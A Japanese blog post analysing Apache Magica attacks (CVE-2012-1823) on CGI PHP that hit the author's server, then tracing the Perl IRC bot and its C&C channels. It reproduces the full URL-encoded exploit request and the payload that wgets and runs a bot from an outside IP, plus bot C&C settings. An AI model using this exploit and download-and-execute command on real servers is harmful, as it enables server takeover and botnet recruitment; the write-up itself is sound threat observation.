CGI版PHPへのApache Magica攻撃の観察

先日、徳丸先生のブログ「CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました」で挙げられていたアタックが、個人で借りてるさくらのVPSに来ていたのでちょっとまとめます。

Apache Magicaとは何か

詳しいことは徳丸先生のブログに書かれているので、そちらを参考いただくとして。

この脆弱性は、CGIPHPのCVE-2012-1823およびCVE-2012-2311に起因するものです。これはCGI版のPHPにおいて、GET引数のパラメタがそのままPHPの実行時パラメタとして渡ってしまうというものでした。これにより、GET引数でちょちょいとパラメタを投げることで、php://input を有効にして外部からPHPスクリプトを「食わせる」ことができるようになります。

あるいは2012年に大騒ぎになった、「GET引数に?-sを付けるとソースコード丸見え」という件を覚えている方も多いのではないでしょうか。あの件はその後もしつこく研究が続けられており、今回の脆弱性が見つかった次第です。POSTリクエストのボディ部のPHPスクリプトが、サーバサイドでそのまま実行されてしまうというとってもゴキゲンな脆弱性です。

Apache Magicaは何が新しいのか

今までCVE-2012-1823を狙った攻撃では、index.phpなどの「サーバに設置されたPHPスクリプト」が攻撃の対象となっていました。つまり、たとえ脆弱性のあるCGIPHPをサーバにインストールしていたとしても、index.phpなどのPHPスクリプトファイルをサーバの公開領域に置いていなければ、実質的に問題ない状態となっていました。

しかし今回、cgi.force_redirectとcgi.redirect_status_envというPHPパラメタを利用することで、/cgi-bin/php(環境によって/cgi-bin/php-cgiなど名前は変わるでしょうが)というPHP実行パスそのものから攻撃できることが判明しました。これにより、たとえPHPスクリプトのファイルを一つも置いていないサーバも攻撃対象となるようになりました。

また攻撃者にとっても、「そのサーバのどこかにあるPHPスクリプト」を探すよりも、「/cgi-bin/phpをとりあえず叩いてみる」だけで攻撃できるかが分かるため、とても狙われやすくなってしまいました。

/cgi-bin/phpへのPOSTリクエストとアクセスログ

今のところ、まだ3回しか来ていません。1発目は以下でした。

173.254.235.114 - - [01/Nov/2013:10:57:11 +0900] "GET /cgi-bin/php HTTP/1.1" 404 288 "-" "-"

ここではまず脆弱性スキャンをしていたようです。この時点では404を返してしまったので、それ以上の攻撃をしてきませんでした(残念)。慌てて、Apachehttpd.confに以下のように/cgi-bin/phpに裸のアクセスがあれば500エラーを返すようにしておきました。例のごとくサーバにはPHPはインストールすらしていません。

<LocationMatch "^/cgi-bin/php">
  RewriteEngine on
  RewriteRule .* - [R=500,L]
</LocationMatch>

すると11/2に2回目のスキャンが来ました。が、今回はスキャン抜きでいきなりPOSTされたので、わざわざ用意することも無かったですね。

2回めのアクセスログは以下です。

198.199.125.199 - - [02/Nov/2013:20:33:47 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 602 "-" "-"

3回め。これも同様。

210.166.220.125 - - [06/Nov/2013:09:25:18 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 602 "-" "-"

おお。何やらURLエンコードされた長大なURLでPOSTされました。前もこれ、よく見たな。これをURLデコードして適宜改行を入れるとこうなります。

POST //cgi-bin/php?
 -d allow_url_include=on
 -d safe_mode=off
 -d suhosin.simulation=on
 -d disable_functions=""
 -d open_basedir=none
 -d auto_prepend_file=php://input
 -d cgi.force_redirect=0
 -d cgi.redirect_status_env=0
 -d auto_prepend_file=php://input
 -n

Apache Magica攻撃で特徴的な、cgi.force_redirect=0 と cgi.redirect_status_env=0 が見られます。

このPOSTリクエストは、本来ならURLエンコードする必要のない部分(/cgi-bin/phpなど)もまとめてURLエンコードされていました。この形式は、以前にもParallels Plesk Panel脆弱性を狙った /phppath/php アタックでよく見られました。同じ人たちがやっているのかもしれません。なお先頭にスラッシュが2個続いている理由は謎です。まぁたぶん、攻撃してる人のケアレスミスでしょう。

POSTされたリクエストボディを探る

以下が、2回目のPOSTリクエスト全体です。ここにはそのまま実行できるPHPスクリプトが書かれています。脆弱性のあるCGIPHPを利用していると、サーバ側でこのPHPスクリプトが実行されます。

POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: -h
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

<? system("cd /tmp;wget 207.56.205.215/.../wow;perl wow;rm -rf wow"); ?>

POSTリクエストのボディ部は、以下のような簡単なPHPスクリプトでした。見やすくするために改行を入れました。

<?
 system("
  cd /tmp;
  wget 207.56.205.215/.../wow;
  perl wow;
  rm -rf wow
 ");
?>

wowという名前のPerlスクリプトを取ってきて実行したいみたいです。ちなみに小ネタですが、wgetコマンドは http:// を付けなくてもこのように省略して書くことができます。今はじめて知りました。

ではさっそく、このwowスクリプトを取ってきてみると……取れました。モノ自体は以下に置いてありますので興味あるかたはどうぞ。

PerlBotとC&Cサーバとボットネット

取ってきたwowというのは、以前にParallels Plesk Panelの件でも仕込まれていたPerlbotでした。以前の日記も参考にしていただけるとよろしいかと(Parallels Plesk Panelの脆弱性と、/phppath/phpでどういう悪さがされるのか - ろば電子が詰まっている)。C&Cサーバに接続して自らをBot化して、指示があるとDoS攻撃などをおこなうゾンビとなります。

wowスクリプト中では、以下のようにC&Cサーバが定義されていました。

my @adms=("X");
my @canais=("#jp");
my $nick='nw';
my $ircname ='nw';
chop (my $realname = `uname -rs`);
$servidor='fbi.bot.nu' unless $servidor;
my $porta='5190';

使われている言語が英語ではないのでちょっと分かりにくいですが、IRCサーバは fbi.bot.nu 、ポートは5190、チャンネルは #jp です。このチャンネルですが、wowファイルを11/2にダウンロードしたときは#jpでしたが、11/3にダウンロードしたら#sipに変わっていました。日によってチャンネルを変えているようです。

追記:11/5にダウンロードしたら、また変わっていました。今度はIRCサーバがflwd.bot.nuでした。チャンネルは#sipのままでした。

$realnameは、uname -rsの結果を入れるようです。nickはnwとなっていますが、実はこの後にランダムな数値をくっつける仕組みになっています。IRCクライアントにはCUIのirssiコマンドを使っているので、以下のような設定をしました。

settings = {
  core = {
    real_name = "Linux 2.6.32-358.6.2.el6.x86_64";
    user_name = "nw-XXXXX";
    nick = "nw-XXXXX";
  };

そしてirssiコマンドで該当サーバに接続します。

$ irssi -c fbi.bot.nu -p 5190
-----------------------------------------------------------------------
22:31 -!- Irssi: Looking up fbi.bot.nu
22:31 -!- Irssi: Connecting to fbi.bot.nu [94.23.62.51] port 5190
22:31 -!- Irssi: Connection to fbi.bot.nu established
22:31 !fbi.bot.nu *** Looking up your hostname
22:31 !fbi.bot.nu *** Found your hostname, cached
22:31 !fbi.bot.nu *** Checking Ident
22:31 !fbi.bot.nu *** No ident response
22:32 -!- Welcome to the Internet Relay Network nw-73131
22:32 -!- Your host is X.Y2, running version beware1.5.7
22:32 -!- This server was created Tue Jul 13 2004 at 20:36:17 GMT
22:32 -!- X.Y2 beware1.5.7 dgikoswx biklmnoprstv
22:32 -!- MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10
          MAXBANS=45 are supported by this server
22:32 -!- NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst
          CASEMAPPING=rfc1459 are supported by this server
22:32 -!- There are 313 users and 16 invisible on 1 servers
22:32 -!- 9 unknown connection(s)
22:32 -!- 1 operator(s) online
22:32 -!- 5 channels formed
22:32 -!- I have 329 clients and 0 servers
22:32 !X.Y2 Highest connection count: 336 (336 clients)
22:32 -!- MOTD File is missing
22:32 !X.Y2 on 1 ca 1(4) ft 10(10) tr
22:32 -!- Mode change [+x] for user nw-73131
22:32 -!- Mode change [+i] for user nw-73131
----------------------------------------------------------------------------

無事稼働しているようです。では指示された通りに#jpに/joinしてみましょうや。

むむむ。それっぽいボット化した人たちがいるな。先ほどのPerlbotで設定されていたように、Xというnickが親分です。彼(彼女?)がDoS攻撃の指示を出したりするのでしょう。

C&Cサーバをしばらく観察していると、運が良ければ面白い光景が見られます。さすがに直接のその状態を見せるのはアレなので、ざっくり色々ぼかして説明します。

  • C&Cサーバのつなぎ替え
    • 時折、adminがコマンドを発行して「次のC&Cサーバ」を指定します。指示されたボットは即座に現在のサーバをquitし、新しいサーバにつなぎ替えます。このつなぎ替えに上手くついていけないと、banされて二度と入れなくなることがあります。目的としては、あまり通信状態が良くないbotをふるい落とす、探りを入れている人たちを追い出す、C&Cサーバのtakedownに備えている、などが考えられます。takedownにそなえてC&CサーバのIPアドレスも時折変わります、その観測をしている人たちもいるみたいです
  • チャンネルの切り替え
    • さきほど、Perlbotに書かれているチャンネルが#jpから#sipに変わっていたと書きましたが、命令チャンネルも頻繁に変わるようです。最新のチャンネルを追えばボット化した人たちが1000人近くいるようなところに巡り当たります。
  • 悪い人たちの会話
  • 攻撃、情報指示
    • 自分のホスト名や脆弱性のあるスクリプト、OS名などをIRC上で発言させるコマンドです。ずっと無言だったBot達が、いきなり一斉に発言するのでかなり不気味です。

これ以上C&Cサーバに深入りするのは怖いのでやめておきましょう。

登場人物

まとめました

役割 IPアドレス or ホスト名 AS 国名
1回めスキャン 173.254.235.114 AS29761 OC3 Networks & Web Solutions, LLC アメリ
2回めスキャン(攻撃) 198.199.125.199 AS46652 ServerStack, Inc. アメリ
3回めスキャン(攻撃) 210.166.220.125 AS7678 Prox System Design Inc. 日本
Perlbot配布 207.56.205.215 AS2914 NTT America, Inc. アメリ
C&Cサーバ fbi.bot.nu (94.23.62.51) AS16276 OVH Systems フランス
C&Cサーバ(11/5から) flwd.bot.nu (42.121.128.166) AS37963 Hangzhou Alibaba Advertising Co.,Ltd. 中国